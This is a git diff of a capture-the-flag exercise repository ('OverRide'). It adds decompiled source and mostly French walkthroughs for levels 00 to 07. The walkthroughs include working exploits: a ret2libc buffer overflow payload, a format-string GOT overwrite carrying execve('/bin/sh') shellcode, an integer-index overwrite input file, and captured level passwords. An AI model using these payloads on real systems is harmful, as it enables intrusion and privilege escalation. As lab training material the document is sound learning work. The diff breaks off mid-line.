diff --git a/level00/Ressources/level00 b/level00/Ressources/level00 deleted file mode 100755 index a02f290..0000000 Binary files a/level00/Ressources/level00 and /dev/null differ diff --git a/level00/source b/level00/source new file mode 100644 index 0000000..07becb6 --- /dev/null +++ b/level00/source @@ -0,0 +1,19 @@ +bool main(void) + +{ + int local_14 [4]; + + puts("***********************************"); + puts("* \t -Level00 -\t\t *"); + puts("***********************************"); + printf("Password:"); + __isoc99_scanf(&DAT_08048636,local_14); + if (local_14[0] != 0x149c) { + puts("\nInvalid Password!"); + } + else { + puts("\nAuthenticated!"); + system("/bin/sh"); + } + return local_14[0] != 0x149c; +} diff --git a/level00/Ressources/walktrough.md b/level00/walkthrough similarity index 100% rename from level00/Ressources/walktrough.md rename to level00/walkthrough diff --git a/level01/Ressources/level01 b/level01/Ressources/level01 deleted file mode 100755 index d556e33..0000000 Binary files a/level01/Ressources/level01 and /dev/null differ diff --git a/level01/source b/level01/source new file mode 100644 index 0000000..a28724b --- /dev/null +++ b/level01/source @@ -0,0 +1,84 @@ +int verify_user_pass(byte *param_1) +{ + int iVar1; + byte *pbVar2; + undefined in_CF; + undefined in_ZF; + + iVar1 = 5; + pbVar2 = (byte *)"admin"; + do { + if (iVar1 == 0) break; + iVar1 = iVar1 + -1; + in_CF = *param_1 < *pbVar2; + in_ZF = *param_1 == *pbVar2; + param_1 = param_1 + 1; + pbVar2 = pbVar2 + 1; + } while ((bool)in_ZF); + return (int)(char)((!(bool)in_CF && !(bool)in_ZF) - in_CF); +} + +int verify_user_name(void) +{ + int iVar1; + byte *pbVar2; + byte *pbVar3; + undefined uVar4; + undefined uVar5; + byte bVar6; + + bVar6 = 0; + uVar4 = &stack0xfffffff4 < (undefined *)0x10; + uVar5 = &stack0x00000000 == (undefined *)0x1c; + puts("verifying username....\n"); + iVar1 = 7; + pbVar2 = a_user_name; + pbVar3 = (byte *)"dat_wil"; + do { + if (iVar1 == 0) break; + iVar1 = iVar1 + -1; + uVar4 = *pbVar2 < *pbVar3; + uVar5 = *pbVar2 == *pbVar3; + pbVar2 = pbVar2 + (uint)bVar6 * -2 + 1; + pbVar3 = pbVar3 + (uint)bVar6 * -2 + 1; + } while ((bool)uVar5); + return (int)(char)((!(bool)uVar4 && !(bool)uVar5) - uVar4); +} + +undefined4 main(void) +{ + undefined4 uVar1; + int iVar2; + undefined4 *puVar3; + undefined4 local_54 [16]; + int local_14; + + puVar3 = local_54; + for (iVar2 = 0x10; iVar2 != 0; iVar2 = iVar2 + -1) { + *puVar3 = 0; + puVar3 = puVar3 + 1; + } + local_14 = 0; + puts("********* ADMIN LOGIN PROMPT *********"); + printf("Enter Username: "); + fgets(a_user_name,0x100,stdin); + local_14 = verify_user_name(); + if (local_14 == 0) { + puts("Enter Password: "); + fgets((char *)local_54,100,stdin); + local_14 = verify_user_pass(local_54); + if ((local_14 == 0) || (local_14 != 0)) { + puts("nope, incorrect password...\n"); + uVar1 = 1; + } + else { + uVar1 = 0; + } + } + else { + puts("nope, incorrect username...\n"); + uVar1 = 1; + } + return uVar1; +} + diff --git a/level01/walkthrough b/level01/walkthrough new file mode 100644 index 0000000..0dbc949 --- /dev/null +++ b/level01/walkthrough @@ -0,0 +1,5 @@ +On remarque dans le decompilo que le username est "dat_wil" et le mot de passe "admin" + +ca ne suffit pas pour ouvrir un shell. On va alors profiter du fait qu'un genre de strncmp avec seulement 7 char est utilise pour verifier dat_wil pour inserer un shell code ensuite. + +Le fgets du mot de passe est trop grand et permet d'override le return vers ce shellcode. diff --git a/level02/Ressources/level02 b/level02/Ressources/level02 deleted file mode 100755 index c85bbaf..0000000 Binary files a/level02/Ressources/level02 and /dev/null differ diff --git a/level02/Ressources/walktrough.md b/level02/Ressources/walktrough.md deleted file mode 100644 index 66b7a1d..0000000 --- a/level02/Ressources/walktrough.md +++ /dev/null @@ -1 +0,0 @@ -password is stored in the stack, print the stack with lots of %p, remove 0x to get a 80 characters string and hex to ascii (little endian conversion) diff --git a/level02/source b/level02/source new file mode 100644 index 0000000..bf046ae --- /dev/null +++ b/level02/source @@ -0,0 +1,73 @@ +undefined8 main(void) +{ + int iVar1; + size_t sVar2; + long lVar3; + undefined8 *puVar4; + undefined8 local_118 [14]; + undefined8 local_a8 [6]; + undefined8 local_78 [12]; + int local_14; + FILE *local_10; + + puVar4 = local_78; + for (lVar3 = 0xc; lVar3 != 0; lVar3 = lVar3 + -1) { + *puVar4 = 0; + puVar4 = puVar4 + 1; + } + *(undefined4 *)puVar4 = 0; + puVar4 = local_a8; + for (lVar3 = 5; lVar3 != 0; lVar3 = lVar3 + -1) { + *puVar4 = 0; + puVar4 = puVar4 + 1; + } + *(undefined *)puVar4 = 0; + puVar4 = local_118; + for (lVar3 = 0xc; lVar3 != 0; lVar3 = lVar3 + -1) { + *puVar4 = 0; + puVar4 = puVar4 + 1; + } + *(undefined4 *)puVar4 = 0; + local_10 = (FILE *)0x0; + local_14 = 0; + local_10 = fopen("/home/users/level03/.pass","r"); + if (local_10 == (FILE *)0x0) { + fwrite("ERROR: failed to open password file\n",1,0x24,stderr); + /* WARNING: Subroutine does not return */ + exit(1); + } + sVar2 = fread(local_a8,1,0x29,local_10); + local_14 = (int)sVar2; + sVar2 = strcspn((char *)local_a8,"\n"); + *(undefined *)((long)local_a8 + sVar2) = 0; + if (local_14 != 0x29) { + fwrite("ERROR: failed to read password file\n",1,0x24,stderr); + fwrite("ERROR: failed to read password file\n",1,0x24,stderr); + /* WARNING: Subroutine does not return */ + exit(1); + } + fclose(local_10); + puts("===== [ Secure Access System v1.0 ] ====="); + puts("/***************************************\\"); + puts("| You must login to access this system. |"); + puts("\\**************************************/"); + printf("--[ Username: "); + fgets((char *)local_78,100,stdin); + sVar2 = strcspn((char *)local_78,"\n"); + *(undefined *)((long)local_78 + sVar2) = 0; + printf("--[ Password: "); + fgets((char *)local_118,100,stdin); + sVar2 = strcspn((char *)local_118,"\n"); + *(undefined *)((long)local_118 + sVar2) = 0; + puts("*****************************************"); + iVar1 = strncmp((char *)local_a8,(char *)local_118,0x29); + if (iVar1 == 0) { + printf("Greetings, %s!\n",local_78); + system("/bin/sh"); + return 0; + } + printf((char *)local_78); + puts(" does not have access!"); + /* WARNING: Subroutine does not return */ + exit(1); +} diff --git a/level02/walkthrough b/level02/walkthrough new file mode 100644 index 0000000..ac1f5b5 --- /dev/null +++ b/level02/walkthrough @@ -0,0 +1,13 @@ +password is stored in the stack, print the stack with lots of %p, remove 0x to get a 80 characters string and hex to ascii (little endian conversion) + +0x756e5052343768480x45414a35617339510x377a7143574e67580x354a35686e4758730x48336750664b394d + +756e505234376848 45414a3561733951 377a7143574e6758 354a35686e475873 48336750664b394d + +il faut faire la conversion little endian + +4868373452506e75 51397361354a4145 58674e5743717a37 7358476e68354a35 4d394b6650673348 + +puis hex to ascii + +Hh74RPnuQ9sa5JAEXgNWCqz7sXGnh5J5M9KfPg3H diff --git a/level03/Ressources/level03 b/level03/Ressources/level03 deleted file mode 100755 index 1970d25..0000000 Binary files a/level03/Ressources/level03 and /dev/null differ diff --git a/level03/source b/level03/source new file mode 100644 index 0000000..61c7267 --- /dev/null +++ b/level03/source @@ -0,0 +1,144 @@ + +int decrypt(EVP_PKEY_CTX *ctx,uchar *out,size_t *outlen,uchar *in,size_t inlen) + +{ + char cVar1; + uint uVar2; + int iVar3; + undefined4 *puVar4; + byte *pbVar5; + int in_GS_OFFSET; + bool bVar6; + bool bVar7; + uint local_2c; + undefined4 local_21; + undefined4 local_1d; + undefined4 local_19; + undefined4 local_15; + undefined local_11; + int local_10; + + local_10 = *(int *)(in_GS_OFFSET + 0x14); + local_21 = 0x757c7d51; + local_1d = 0x67667360; + local_19 = 0x7b66737e; + local_15 = 0x33617c7d; + local_11 = 0; + uVar2 = 0xffffffff; + puVar4 = &local_21; + do { + if (uVar2 == 0) break; + uVar2 = uVar2 - 1; + cVar1 = *(char *)puVar4; + puVar4 = (undefined4 *)((int)puVar4 + 1); + } while (cVar1 != '\0'); + local_2c = 0; + while( true ) { + bVar6 = local_2c < ~uVar2 - 1; + bVar7 = local_2c == ~uVar2 - 1; + if (!bVar6) break; + *(byte *)((int)&local_21 + local_2c) = (byte)ctx ^ *(byte *)((int)&local_21 + local_2c); + local_2c = local_2c + 1; + } + iVar3 = 0x11; + puVar4 = &local_21; + pbVar5 = (byte *)"Congratulations!"; + do { + if (iVar3 == 0) break; + iVar3 = iVar3 + -1; + bVar6 = *(byte *)puVar4 < *pbVar5; + bVar7 = *(byte *)puVar4 == *pbVar5; + puVar4 = (undefined4 *)((int)puVar4 + 1); + pbVar5 = pbVar5 + 1; + } while (bVar7); + if ((!bVar6 && !bVar7) == bVar6) { + iVar3 = system("/bin/sh"); + } + else { + iVar3 = puts("\nInvalid Password"); + } + if (local_10 == *(int *)(in_GS_OFFSET + 0x14)) { + return iVar3; + } + /* WARNING: Subroutine does not return */ + __stack_chk_fail(); +} + + +void test(int param_1,int param_2) +{ + EVP_PKEY_CTX *pEVar1; + uchar *in_stack_ffffffd8; + size_t *in_stack_ffffffdc; + uchar *in_stack_ffffffe0; + size_t in_stack_ffffffe4; + + pEVar1 = (EVP_PKEY_CTX *)(param_2 - param_1); + switch(pEVar1) { + default: + pEVar1 = (EVP_PKEY_CTX *)rand(); + decrypt(pEVar1,in_stack_ffffffd8,in_stack_ffffffdc,in_stack_ffffffe0,in_stack_ffffffe4); + break; + case (EVP_PKEY_CTX *)0x1: + decrypt(pEVar1,in_stack_ffffffd8,in_stack_ffffffdc,in_stack_ffffffe0,in_stack_ffffffe4); + break; + case (EVP_PKEY_CTX *)0x2: + decrypt(pEVar1,in_stack_ffffffd8,in_stack_ffffffdc,in_stack_ffffffe0,in_stack_ffffffe4); + break; + case (EVP_PKEY_CTX *)0x3: + decrypt(pEVar1,in_stack_ffffffd8,in_stack_ffffffdc,in_stack_ffffffe0,in_stack_ffffffe4); + break; + case (EVP_PKEY_CTX *)0x4: + decrypt(pEVar1,in_stack_ffffffd8,in_stack_ffffffdc,in_stack_ffffffe0,in_stack_ffffffe4); + break; + case (EVP_PKEY_CTX *)0x5: + decrypt(pEVar1,in_stack_ffffffd8,in_stack_ffffffdc,in_stack_ffffffe0,in_stack_ffffffe4); + break; + case (EVP_PKEY_CTX *)0x6: + decrypt(pEVar1,in_stack_ffffffd8,in_stack_ffffffdc,in_stack_ffffffe0,in_stack_ffffffe4); + break; + case (EVP_PKEY_CTX *)0x7: + decrypt(pEVar1,in_stack_ffffffd8,in_stack_ffffffdc,in_stack_ffffffe0,in_stack_ffffffe4); + break; + case (EVP_PKEY_CTX *)0x8: + decrypt(pEVar1,in_stack_ffffffd8,in_stack_ffffffdc,in_stack_ffffffe0,in_stack_ffffffe4); + break; + case (EVP_PKEY_CTX *)0x9: + decrypt(pEVar1,in_stack_ffffffd8,in_stack_ffffffdc,in_stack_ffffffe0,in_stack_ffffffe4); + break; + case (EVP_PKEY_CTX *)0x10: + decrypt(pEVar1,in_stack_ffffffd8,in_stack_ffffffdc,in_stack_ffffffe0,in_stack_ffffffe4); + break; + case (EVP_PKEY_CTX *)0x11: + decrypt(pEVar1,in_stack_ffffffd8,in_stack_ffffffdc,in_stack_ffffffe0,in_stack_ffffffe4); + break; + case (EVP_PKEY_CTX *)0x12: + decrypt(pEVar1,in_stack_ffffffd8,in_stack_ffffffdc,in_stack_ffffffe0,in_stack_ffffffe4); + break; + case (EVP_PKEY_CTX *)0x13: + decrypt(pEVar1,in_stack_ffffffd8,in_stack_ffffffdc,in_stack_ffffffe0,in_stack_ffffffe4); + break; + case (EVP_PKEY_CTX *)0x14: + decrypt(pEVar1,in_stack_ffffffd8,in_stack_ffffffdc,in_stack_ffffffe0,in_stack_ffffffe4); + break; + case (EVP_PKEY_CTX *)0x15: + decrypt(pEVar1,in_stack_ffffffd8,in_stack_ffffffdc,in_stack_ffffffe0,in_stack_ffffffe4); + } + return; +} + +undefined4 main(void) +{ + uint __seed; + + __seed = time((time_t *)0x0); + srand(__seed); + puts("***********************************"); + puts("*\t\tlevel03\t\t**"); + puts("***********************************"); + printf("Password:"); + __isoc99_scanf(); + test(); + return 0; +} + diff --git a/level03/walkthrough b/level03/walkthrough new file mode 100644 index 0000000..6cdd81e --- /dev/null +++ b/level03/walkthrough @@ -0,0 +1,2 @@ +On remarque dans le code un 0x1337d00d, on l'essaye en mot de passe et ca marche pas, il y a un gros switch statement, avec un script on test les valeurs proche et ca fonctionne. + diff --git a/level04/Ressources/level04 b/level04/Ressources/level04 deleted file mode 100755 index 02a72a8..0000000 Binary files a/level04/Ressources/level04 and /dev/null differ diff --git a/level04/Ressources/walkthrough.md b/level04/Ressources/walkthrough.md deleted file mode 100644 index 9e48fe5..0000000 --- a/level04/Ressources/walkthrough.md +++ /dev/null @@ -1,72 +0,0 @@ -level04@OverRide:~$ export EGG=" /bin/sh" -level04@OverRide:~$ gdb level04 -bGNU gdb (Ubuntu/Linaro 7.4-2012.04-0ubuntu2.1) 7.4-2012.04 -Copyright (C) 2012 Free Software Foundation, Inc. -License GPLv3+: GNU GPL version 3 or later -This is free software: you are free to change and redistribute it. -There is NO WARRANTY, to the extent permitted by law. Type "show copying" -and "show warranty" for details. -This GDB was configured as "x86_64-linux-gnu". -For bug reporting instructions, please see: -... -Reading symbols from /home/users/level04/level04...(no debugging symbols found)...done. -(gdb) b main+150 -Function "main+150" not defined. -Make breakpoint pending on future shared library load? (y or [n]) ^Cn -(gdb) Quit -(gdb) b *main+150 -Breakpoint 1 at 0x804875e -(gdb) set follow-fork-mode child -(gdb) run -Starting program: /home/users/level04/level04 -[New process 1813] -Give me some shellcode, k -[Switching to process 1813] - -Breakpoint 1, 0x0804875e in main () -(gdb) p system -$1 = {} 0xf7e6aed0 -(gdb) p (char *)getenv("EGG") -$2 = 0xffffd857 ' ' ... -(gdb) exit -Undefined command: "exit". Try "help". -(gdb) quit -A debugging session is active. - - Inferior 2 [process 1813] will be killed. - -Quit anyway? (y or n) y -child is exiting... -level04@OverRide:~$ env -TERM=xterm-256color -SHELL=/bin/bash -SSH_CLIENT=10.0.2.2 59932 4242 -OLDPWD=/home/users/level04 -SSH_TTY=/dev/pts/0 -EGG= /bin/sh -USER=level04 -LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lz=01;31:*.xz=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.axv=01;35:*.anx=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.axa=00;36:*.oga=00;36:*.spx=00;36:*.xspf=00;36: -MAIL=/var/mail/level04 -PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games -PWD=/home/users/level04 -LANG=en_US.UTF-8 -SHLVL=1 -HOME=/home/users/level04 -LANGUAGE=en_US:en -LOGNAME=level04 -SSH_CONNECTION=10.0.2.2 59932 10.0.2.15 4242 -LESSOPEN=| /usr/bin/lesspipe %s -LESSCLOSE=/usr/bin/lesspipe %s %s -_=/usr/bin/env -level04@OverRide:~$ python -c "print('A'*156+'\xd0\xae\xe6\xf7'+' '+'\xa0\xd8\xff\xff')" > exploit.txt --bash: exploit.txt: Permission denied -level04@OverRide:~$ chmod +w . -level04@OverRide:~$ python -c "print('A'*156+'\xd0\xae\xe6\xf7'+' '+'\xa0\xd8\xff\xff')" > exploit.txt -level04@OverRide:~$ cat exploit.txt - | ./level04 -Give me some shellcode, k -whoami -level05 -cat /home/users/level05/.pass -3v8QLcN5SAhPaZZfEasfmXdwyR59ktDEMAwHF3aN - - diff --git a/level04/source b/level04/source new file mode 100644 index 0000000..aa8857c --- /dev/null +++ b/level04/source @@ -0,0 +1,46 @@ + +undefined4 main(void) + +{ + int iVar1; + undefined4 *puVar2; + byte bVar3; + uint local_a4; + undefined4 local_a0 [32]; + uint local_20; + uint local_1c; + long local_18; + __pid_t local_14; + + bVar3 = 0; + local_14 = fork(); + puVar2 = local_a0; + for (iVar1 = 0x20; iVar1 != 0; iVar1 = iVar1 + -1) { + *puVar2 = 0; + puVar2 = puVar2 + (uint)bVar3 * -2 + 1; + } + local_18 = 0; + local_a4 = 0; + if (local_14 == 0) { + prctl(1,1); + ptrace(PTRACE_TRACEME,0,0,0); + puts("Give me some shellcode, k"); + gets((char *)local_a0); + } + else { + do { + wait(&local_a4); + local_20 = local_a4; + if (((local_a4 & 0x7f) == 0) || + (local_1c = local_a4, '\0' < (char)(((byte)local_a4 & 0x7f) + 1) >> 1)) { + puts("child is exiting..."); + return 0; + } + local_18 = ptrace(PTRACE_PEEKUSER,local_14,0x2c,0); + } while (local_18 != 0xb); + puts("no exec() for you"); + kill(local_14,9); + } + return 0; +} + diff --git a/level04/walkthrough b/level04/walkthrough new file mode 100644 index 0000000..ab4acba --- /dev/null +++ b/level04/walkthrough @@ -0,0 +1,10 @@ +On remarque qu'on peut faire un ret override apres 156 'A', en revanche on ne peut pas utiliser de shellcode a cause du ptrace et de mecanique de fork (je crois). Il faut donc utiliser un ret2libc et appeler system avec l'argument "/bin/sh", on va devoir mettre des espace devant pour faire un un nop slide, en effet on n'est pas sur de taper au bon endroit en dehors de gdb et system trim l'input. Il faut aussi passer le bon argument a system, on peut le faire 8 bytes apres l'addresse du call on met l'address de notre variable d'evironnement dedans + +level04@OverRide:~$ export EGG=" /bin/sh" +level04@OverRide:~$ python -c "print('A'*156+'\xd0\xae\xe6\xf7'+' '+'\xa0\xd8\xff\xff')" > /tmp/exploit.txt +level04@OverRide:~$ cat /tmp/exploit.txt - | ./level04 +Give me some shellcode, k +whoami +level05 + + diff --git a/level05/Ressources/level05 b/level05/Ressources/level05 deleted file mode 100755 index b52ad99..0000000 Binary files a/level05/Ressources/level05 and /dev/null differ diff --git a/level05/Ressources/walktrough.md b/level05/Ressources/walktrough.md deleted file mode 100644 index 2168b86..0000000 --- a/level05/Ressources/walktrough.md +++ /dev/null @@ -1,4 +0,0 @@ -level05@OverRide:~$ rm -f exploit && python -c "print('\xe0\x97\x04\x08'+'\xe2\x97\x04\x08'+'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68'+'%54914x'+'%10\$n'+'%10555x'+'%11\$n')" > exploit -level05@OverRide:~$ cat exploit - | /home/users/level05/level05 - -write in 2 times with %n $ speifiy argument number, overwrite GOT table to jmp to shellcode diff --git a/level05/source b/level05/source new file mode 100644 index 0000000..c6a3591 --- /dev/null +++ b/level05/source @@ -0,0 +1,35 @@ +void main(void) + +{ + byte bVar1; + uint uVar2; + byte *pbVar3; + byte bVar4; + byte local_78 [100]; + uint local_14; + + bVar4 = 0; + local_14 = 0; + fgets((char *)local_78,100,stdin); + local_14 = 0; + do { + uVar2 = 0xffffffff; + pbVar3 = local_78; + do { + if (uVar2 == 0) break; + uVar2 = uVar2 - 1; + bVar1 = *pbVar3; + pbVar3 = pbVar3 + (uint)bVar4 * -2 + 1; + } while (bVar1 != 0); + if (~uVar2 - 1 <= local_14) { + printf((char *)local_78); + /* WARNING: Subroutine does not return */ + exit(0); + } + if (('@' < (char)local_78[local_14]) && ((char)local_78[local_14] < '[')) { + local_78[local_14] = local_78[local_14] ^ 0x20; + } + local_14 = local_14 + 1; + } while( true ); +} + diff --git a/level05/walkthrough b/level05/walkthrough new file mode 100644 index 0000000..aab4e40 --- /dev/null +++ b/level05/walkthrough @@ -0,0 +1,4 @@ +C'est un exploit printf avec un nombre trop grand pour etre ecrit via un seul %n, on en utilise donc 2 pour ecrire 2 bytes chacun. A noter qu'on aurait pu utiliser %hn aussi ce qui aurait ete plus propre. On override la got table avec l'adresse d'un shellcode place judicieusement dans la format string. A noter le $ qui permet de simuler le nieme arguement ce qui permet de rajouter un %x entre les 2 malgre qu'il devrait etre consecutif. (surement ca peut se bypass en decalant la deuxieme adresse '\xe2\x97\x04\x08' 4 bytes plus loin) + +level05@OverRide:~$ rm -f exploit && python -c "print('\xe0\x97\x04\x08'+'\xe2\x97\x04\x08'+'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68'+'%54914x'+'%10\$n'+'%10555x'+'%11\$n')" > exploit +level05@OverRide:~$ cat exploit - | /home/users/level05/level05 diff --git a/level06/Ressources/level06 b/level06/Ressources/level06 deleted file mode 100755 index 3a2fb2f..0000000 Binary files a/level06/Ressources/level06 and /dev/null differ diff --git a/level06/source b/level06/source new file mode 100644 index 0000000..f022dc7 --- /dev/null +++ b/level06/source @@ -0,0 +1,71 @@ +undefined4 auth(char *param_1,uint param_2) +{ + size_t sVar1; + undefined4 uVar2; + long lVar3; + int local_18; + uint local_14; + + sVar1 = strcspn(param_1,"\n"); + param_1[sVar1] = '\0'; + sVar1 = strnlen(param_1,0x20); + if ((int)sVar1 < 6) { + uVar2 = 1; + } + else { + lVar3 = ptrace(PTRACE_TRACEME); + if (lVar3 == -1) { + puts("\x1b[32m.---------------------------."); + puts("\x1b[31m| !! TAMPERING DETECTED !! |"); + puts("\x1b[32m\'---------------------------\'"); + uVar2 = 1; + } + else { + local_14 = ((int)param_1[3] ^ 0x1337U) + 0x5eeded; + for (local_18 = 0; local_18 < (int)sVar1; local_18 = local_18 + 1) { + if (param_1[local_18] < ' ') { + return 1; + } + local_14 = local_14 + ((int)param_1[local_18] ^ local_14) % 0x539; + } + if (param_2 == local_14) { + uVar2 = 0; + } + else { + uVar2 = 1; + } + } + } + return uVar2; +} + +bool main(void) +{ + int iVar1; + int in_GS_OFFSET; + char local_34 [32]; + int local_14; + + local_14 = *(int *)(in_GS_OFFSET + 0x14); + puts("***********************************"); + puts("*\t\tlevel06\t\t *"); + puts("***********************************"); + printf("-> Enter Login: "); + fgets(local_34,0x20,stdin); + puts("***********************************"); + puts("***** NEW ACCOUNT DETECTED ********"); + puts("***********************************"); + printf("-> Enter Serial: "); + __isoc99_scanf(); + iVar1 = auth(); + if (iVar1 == 0) { + puts("Authenticated!"); + system("/bin/sh"); + } + if (local_14 != *(int *)(in_GS_OFFSET + 0x14)) { + /* WARNING: Subroutine does not return */ + __stack_chk_fail(); + } + return iVar1 != 0; +} + diff --git a/level06/walkthrough b/level06/walkthrough new file mode 100644 index 0000000..dd187c4 --- /dev/null +++ b/level06/walkthrough @@ -0,0 +1 @@ +Il faut donner le bon numero de serie selon le login, on voit grace a ghidra l'algo de hash utilise, il suffit de le reverse (test.c) diff --git a/level07/Ressources/exploit.txt b/level07/Ressources/exploit.txt new file mode 100644 index 0000000..c015892 --- /dev/null +++ b/level07/Ressources/exploit.txt @@ -0,0 +1,40 @@ +store +1185988657 +43 +store +3375487793 +44 +store +384532685 +2147483693 +store +2294296923 +46 +store +1535706947 +47 +store +205752584 +2147483696 +store +1267534768 +49 +store +206802184 +50 +store +3857219789 +2147483699 +store +805306367 +52 +store +795765090 +53 +store +26739 +2147483702 +store +4294956528 +-1040108880 +store diff --git a/level07/Ressources/level07 b/level07/Ressources/level07 deleted file mode 100755 index d56fd3c..0000000 Binary files a/level07/Ressources/level07 and /dev/null differ diff --git a/level07/source b/level07/source new file mode 100644 index 0000000..01e5224 --- /dev/null +++ b/level07/source @@ -0,0 +1,191 @@ +undefined4 get_unum(void) +{ + undefined4 local_10 [3]; + + local_10[0] = 0; + fflush(stdout); + __isoc99_scanf(&DAT_08048ad0,local_10); + clear_stdin(); + return local_10[0]; +} + +undefined4 store_number(int param_1) +{ + uint uVar1; + uint uVar2; + undefined4 uVar3; + + printf(" Number: "); + uVar1 = get_unum(); + printf(" Index: "); + uVar2 = get_unum(); + if ((uVar2 % 3 == 0) || (uVar1 >> 0x18 == 0xb7)) { + puts(" *** ERROR! ***"); + puts(" This index is reserved for wil!"); + puts(" *** ERROR! ***"); + uVar3 = 1; + } + else { + *(uint *)(uVar2 * 4 + param_1) = uVar1; + uVar3 = 0; + } + return uVar3; +} + +undefined4 read_number(int param_1) +{ + int iVar1; + + printf(" Index: "); + iVar1 = get_unum(); + printf(" Number at data[%u] is %u\n",iVar1,*(undefined4 *)(iVar1 * 4 + param_1)); + return 0; +} + +undefined4 main(undefined4 param_1,char **param_2,char **param_3) +{ + char cVar1; + int iVar2; + uint uVar3; + undefined4 *puVar4; + char *pcVar5; + byte *pbVar6; + int in_GS_OFFSET; + bool bVar7; + bool bVar8; + bool bVar9; + byte bVar10; + char **local_1c8; + char **local_1c4; + undefined4 local_1bc [100]; + undefined4 local_2c; + undefined4 local_28; + undefined4 local_24; + undefined4 local_20; + undefined4 local_1c; + undefined4 local_18; + int local_14; + + bVar10 = 0; + local_1c4 = param_2; + local_1c8 = param_3; + local_14 = *(int *)(in_GS_OFFSET + 0x14); + local_2c = 0; + local_28 = 0; + local_24 = 0; + local_20 = 0; + local_1c = 0; + local_18 = 0; + puVar4 = local_1bc; + for (iVar2 = 100; iVar2 != 0; iVar2 = iVar2 + -1) { + *puVar4 = 0; + puVar4 = puVar4 + 1; + } + for (; *local_1c4 != (char *)0x0; local_1c4 = local_1c4 + 1) { + uVar3 = 0xffffffff; + pcVar5 = *local_1c4; + do { + if (uVar3 == 0) break; + uVar3 = uVar3 - 1; + cVar1 = *pcVar5; + pcVar5 = pcVar5 + (uint)bVar10 * -2 + 1; + } while (cVar1 != '\0'); + memset(*local_1c4,0,~uVar3 - 1); + } + for (; *local_1c8 != (char *)0x0; local_1c8 = local_1c8 + 1) { + uVar3 = 0xffffffff; + pcVar5 = *local_1c8; + do { + if (uVar3 == 0) break; + uVar3 = uVar3 - 1; + cVar1 = *pcVar5; + pcVar5 = pcVar5 + (uint)bVar10 * -2 + 1; + } while (cVar1 != '\0'); + memset(*local_1c8,0,~uVar3 - 1); + } + puts( + "----------------------------------------------------\n Welcome to wil\'s crappy number stora ge service! \n----------------------------------------------------\n Commands: \n store - store a number into the data storage \n read - read a number from the data storage \n quit - exit the program \n----------------------------------------------------\n wil has reserved some storage :> \n----------------------------------------------------\n" + ); + do { + printf("Input command: "); + local_2c = 1; + fgets((char *)&local_28,0x14,stdin); + uVar3 = 0xffffffff; + puVar4 = &local_28; + do { + if (uVar3 == 0) break; + uVar3 = uVar3 - 1; + cVar1 = *(char *)puVar4; + puVar4 = (undefined4 *)((int)puVar4 + (uint)bVar10 * -2 + 1); + } while (cVar1 != '\0'); + uVar3 = ~uVar3; + bVar7 = uVar3 == 1; + bVar9 = uVar3 == 2; + *(undefined *)((int)&local_2c + uVar3 + 2) = 0; + iVar2 = 5; + puVar4 = &local_28; + pbVar6 = (byte *)"store"; + do { + if (iVar2 == 0) break; + iVar2 = iVar2 + -1; + bVar7 = *(byte *)puVar4 < *pbVar6; + bVar9 = *(byte *)puVar4 == *pbVar6; + puVar4 = (undefined4 *)((int)puVar4 + (uint)bVar10 * -2 + 1); + pbVar6 = pbVar6 + (uint)bVar10 * -2 + 1; + } while (bVar9); + bVar8 = false; + bVar7 = (!bVar7 && !bVar9) == bVar7; + if (bVar7) { + local_2c = store_number(local_1bc); + } + else { + iVar2 = 4; + puVar4 = &local_28; + pbVar6 = &DAT_08048d61; + do { + if (iVar2 == 0) break; + iVar2 = iVar2 + -1; + bVar8 = *(byte *)puVar4 < *pbVar6; + bVar7 = *(byte *)puVar4 == *pbVar6; + puVar4 = (undefined4 *)((int)puVar4 + (uint)bVar10 * -2 + 1); + pbVar6 = pbVar6 + (uint)bVar10 * -2 + 1; + } while (bVar7); + bVar9 = false; + bVar7 = (!bVar8 && !bVar7) == bVar8; + if (bVar7) { + local_2c = 